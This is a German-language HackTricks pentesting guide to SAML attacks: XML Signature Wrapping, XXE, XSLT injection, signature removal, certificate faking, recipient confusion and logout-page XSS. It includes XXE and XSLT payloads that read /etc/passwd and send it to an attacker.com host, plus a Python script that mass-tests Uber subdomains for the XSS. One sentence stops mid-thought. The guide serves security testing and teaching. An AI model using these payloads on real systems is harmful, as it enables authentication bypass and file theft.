hacktricks/pentesting-web/saml-attacks

SAML-Angriffe

SAML-Angriffe

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

• Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
• Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
• Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
• Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
• Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks- und HackTricks Cloud-GitHub-Repositories senden.

Grundlegende Informationen

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Tool

SAMLExtractor: Ein Tool, das eine URL oder eine Liste von URLs entgegennehmen und die SAML-Konsum-URL zurückgeben kann.

XML-Rundreise

Im XML wird der signierte Teil des XML im Speicher gespeichert, dann wird eine Codierung/Decodierung durchgeführt und die Signatur wird überprüft. Idealerweise sollte diese Codierung/Decodierung die Daten nicht verändern, aber in diesem Szenario könnten die überprüften Daten und die Originaldaten nicht identisch sein.

Beispielhaft sehen Sie den folgenden Code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Die Ausführung des Programms gegen REXML 3.2.4 oder früher würde stattdessen zu folgender Ausgabe führen:

First child in original doc: Y
First child after round-trip: Z

So sah REXML das ursprüngliche XML-Dokument aus dem obigen Programm:

Und so sah es es nach einer Runde Parsing und Serialisierung:

Für weitere Informationen über die Schwachstelle und wie man sie ausnutzen kann:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Signature Wrapping-Angriffe

Bei XML Signature Wrapping-Angriffen (XSW) nutzen Angreifer eine Schwachstelle aus, die entsteht, wenn XML-Dokumente durch zwei verschiedene Phasen verarbeitet werden: Signaturvalidierung und Funktionsaufruf. Diese Angriffe beinhalten die Veränderung der XML-Dokumentenstruktur. Konkret fügt der Angreifer gefälschte Elemente ein, die die Gültigkeit der XML-Signatur nicht beeinträchtigen. Diese Manipulation zielt darauf ab, eine Diskrepanz zwischen den von der Anwendungslogik analysierten Elementen und denen, die vom Signaturüberprüfungsmodul überprüft werden, zu erzeugen. Dadurch bleibt die XML-Signatur technisch gültig und besteht die Überprüfung, aber die Anwendungslogik verarbeitet die betrügerischen Elemente. Als Folge davon umgeht der Angreifer effektiv den Integritätsschutz und die Herkunftsauthentifizierung der XML-Signatur und ermöglicht die Injektion beliebigen Inhalts ohne Erkennung.

Die folgenden Angriffe basieren auf diesem Blog-Beitrag und diesem Paper. Überprüfen Sie diese für weitere Details.

XSW #1

• Strategie: Ein neues Wurzelelement mit der Signatur wird hinzugefügt.
• Auswirkung: Der Validator kann zwischen dem legitimen "Response -> Assertion -> Subject" und dem vom Angreifer stammenden "bösen neuen Response -> Assertion -> Subject" durcheinanderkommen, was zu Problemen mit der Datenintegrität führt.

XSW #2

• Unterschied zu XSW #1: Verwendet eine abgelöste Signatur anstelle einer umschließenden Signatur.
• Auswirkung: Die "böse" Struktur, ähnlich wie bei XSW #1, zielt darauf ab, die Geschäftslogik nach der Integritätsprüfung zu täuschen.

XSW #3

• Strategie: Eine böse Assertion wird auf derselben hierarchischen Ebene wie die ursprüngliche Assertion erstellt.
• Auswirkung: Ziel ist es, die Geschäftslogik zu verwirren und zur Verwendung der bösartigen Daten zu verleiten.

XSW #4

• Unterschied zu XSW #3: Die ursprüngliche Assertion wird zu einem Kind der duplizierten (bösen) Assertion.
• Auswirkung: Ähnlich wie bei XSW #3, aber es wird die XML-Struktur aggressiver verändert.

XSW #5

• Besonderheit: Weder die Signatur noch die ursprüngliche Assertion entsprechen den Standardkonfigurationen (umhüllend/umhüllend/abgelöst).
• Auswirkung: Die kopierte Assertion umhüllt die Signatur und verändert die erwartete Dokumentenstruktur.

XSW #6

• Strategie: Ähnliche Positionseinfügung wie bei XSW #4 und #5, aber mit einer Wendung.
• Auswirkung: Die kopierte Assertion umhüllt die Signatur, die dann die ursprüngliche Assertion umhüllt, wodurch eine verschachtelte irreführende Struktur entsteht.

XSW #7

• Strategie: Ein Extensions-Element wird mit der kopierten Assertion als Kind eingefügt.
• Auswirkung: Dieser Angriff nutzt das weniger restriktive Schema des Extensions-Elements aus, um Schema-Validierungsgegenmaßnahmen zu umgehen, insbesondere in Bibliotheken wie OpenSAML.

XSW #8

• Unterschied zu XSW #7: Verwendet ein anderes weniger restriktives XML-Element für eine Variante des Angriffs.
• Auswirkung: Die ursprüngliche Assertion wird zu einem Kind des weniger restriktiven Elements, wodurch die in XSW #7 verwendete Struktur umgekehrt wird.

Tool

Sie können die Burp-Erweiterung SAML Raider verwenden, um die Anfrage zu analysieren, einen beliebigen XSW-Angriff auszuwählen und ihn auszuführen.

XXE

Wenn Sie nicht wissen, welche Arten von Angriffen XXE sind, lesen Sie bitte die folgende Seite:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML-Antworten sind deflatierte und base64-kodierte XML-Dokumente und können anfällig für XML External Entity (XXE)-Angriffe sein. Indem sie die XML-Struktur der SAML-Antwort manipulieren, können Angreifer versuchen, XXE-Schwachstellen auszunutzen. So kann ein solcher Angriff visualisiert werden:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Werkzeuge

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um den POC aus einer SAML-Anfrage zu generieren und auf mögliche XXE-Schwachstellen und SAML-Schwachstellen zu testen.

Schauen Sie sich auch diesen Vortrag an: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT über SAML

Für weitere Informationen zu XSLT gehen Sie zu:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Extensible Stylesheet Language Transformations (XSLT) können verwendet werden, um XML-Dokumente in verschiedene Formate wie HTML, JSON oder PDF zu transformieren. Es ist wichtig zu beachten, dass XSLT-Transformationen vor der Überprüfung der digitalen Signatur durchgeführt werden. Dies bedeutet, dass ein Angriff auch ohne gültige Signatur erfolgreich sein kann; eine selbstsignierte oder ungültige Signatur reicht aus, um fortzufahren.

Hier finden Sie einen POC, um nach dieser Art von Schwachstellen zu suchen. Auf der hacktricks-Seite, die am Anfang dieses Abschnitts erwähnt wurde, finden Sie Payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um den POC aus einer SAML-Anfrage zu generieren und auf mögliche XSLT-Schwachstellen zu testen.

Schauen Sie sich auch diesen Vortrag an: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML-Signaturausschluss

Der XML-Signaturausschluss beobachtet das Verhalten von SAML-Implementierungen, wenn das Signatur-Element nicht vorhanden ist. Wenn dieses Element fehlt, kann die Signaturvalidierung möglicherweise nicht stattfinden, was es anfällig macht. Dies kann getestet werden, indem die Inhalte, die normalerweise von der Signatur überprüft werden, geändert werden.

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden. Fangen Sie die SAML-Antwort ab und klicken Sie auf Remove Signatures. Dadurch werden alle Signatur-Elemente entfernt.

Nachdem die Signaturen entfernt wurden, lassen Sie die Anfrage zum Ziel weiterleiten. Wenn die Signatur vom Dienst nicht benötigt wird,

Zertifikatsfälschung

Zertifikatsfälschung ist eine Technik, um zu testen, ob ein Service Provider (SP) ordnungsgemäß überprüft, ob eine SAML-Nachricht von einem vertrauenswürdigen Identity Provider (IdP) signiert ist. Dabei wird ein *selbstsigniertes Zertifikat verwendet, um die SAML-Antwort oder Assertion zu signieren, was bei der Bewertung des Vertrauensvalidierungsprozesses zwischen SP und IdP hilft.

Durchführung der Zertifikatsfälschung

Die folgenden Schritte beschreiben den Prozess unter Verwendung der Burp-Erweiterung SAML Raider:

1. Fangen Sie die SAML-Antwort ab.
2. Wenn die Antwort eine Signatur enthält, senden Sie das Zertifikat an SAML Raider Certs mit der Schaltfläche Send Certificate to SAML Raider Certs.
3. Wählen Sie im Tab "SAML Raider Certificates" das importierte Zertifikat aus und klicken Sie auf Save and Self-Sign, um eine selbstsignierte Kopie des Originalzertifikats zu erstellen.
4. Gehen Sie zurück zur abgefangenen Anfrage in Burps Proxy. Wählen Sie das neue selbstsignierte Zertifikat aus dem XML-Signatur-Dropdown aus.
5. Entfernen Sie vorhandene Signaturen mit der Schaltfläche Remove Signatures.
6. Signieren Sie die Nachricht oder Assertion mit dem neuen Zertifikat mithilfe der Schaltfläche (Re-)Sign Message oder (Re-)Sign Assertion, je nachdem, was zutrifft.
7. Leiten Sie die signierte Nachricht weiter. Eine erfolgreiche Authentifizierung zeigt an, dass der SP Nachrichten akzeptiert, die von Ihrem selbstsignierten Zertifikat signiert sind, und offenbart potenzielle Schwachstellen im Validierungsprozess der SAML-Nachrichten.

Verwirrung des Token-Empfängers / Verwirrung des Service Providers

Die Verwirrung des Token-Empfängers und die Verwirrung des Service Providers beinhalten die Überprüfung, ob der Service Provider den beabsichtigten Empfänger einer Antwort korrekt validiert. Im Wesentlichen sollte ein Service Provider eine Authentifizierungsantwort ablehnen, wenn sie für einen anderen Anbieter bestimmt war. Das entscheidende Element hierbei ist das Recipient-Feld, das sich im SubjectConfirmationData-Element einer SAML-Antwort befindet. Dieses Feld gibt eine URL an, die angibt, wohin die Assertion gesendet werden muss. Wenn der tatsächliche Empfänger nicht mit dem beabsichtigten Service Provider übereinstimmt, sollte die Assertion als ungültig betrachtet werden.

Wie es funktioniert

Damit ein SAML Token Recipient Confusion (SAML-TRC) Angriff durchführbar ist, müssen bestimmte Bedingungen erfüllt sein. Erstens muss es ein gültiges Konto auf einem Service Provider (SP-Legit) geben. Zweitens muss der angegriffene Service Provider (SP-Target) Token vom selben Identity Provider akzeptieren, der SP-Legit bedient.

Unter diesen Bedingungen ist der Angriffsprozess einfach. Eine authentische Sitzung wird über den gemeinsam genutzten Identity Provider mit SP-Legit initiiert. Die SAML-Antwort vom Identity Provider an SP-Legit wird abgefangen. Diese abgefangene SAML-Antwort, die ursprünglich für SP-Legit bestimmt war, wird dann an SP-Target umgeleitet. Der Erfolg dieses Angriffs wird daran gemessen, dass SP-Target die Assertion akzeptiert und Zugriff auf Ressourcen unter demselben Kontonamen gewährt, der für SP-Legit verwendet wurde.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout-Funktionalität

Die Originalforschung kann über diesen Link abgerufen werden.

Während des Prozesses des Verzeichnis-Brute-Forcings wurde eine Logout-Seite entdeckt unter:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Beim Zugriff auf diesen Link erfolgte eine Weiterleitung zu:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dies enthüllte, dass der base-Parameter eine URL akzeptiert. In Anbetracht dessen entstand die Idee, die URL durch javascript:alert(123); zu ersetzen, um einen XSS (Cross-Site Scripting) Angriff zu initiieren.

Massenausbeutung

Aus dieser Forschung:

Das Tool SAMLExtractor wurde verwendet, um Subdomains von uberinternal.com auf Domains zu analysieren, die dieselbe Bibliothek nutzen. Anschließend wurde ein Skript entwickelt, um die Seite oidauth/prompt anzugreifen. Dieses Skript testet auf XSS (Cross-Site Scripting), indem es Daten eingibt und überprüft, ob sie im Output reflektiert werden. In Fällen, in denen die Eingabe tatsächlich reflektiert wird, markiert das Skript die Seite als verwundbar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referenzen

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

• Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
• Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
• Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
• Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.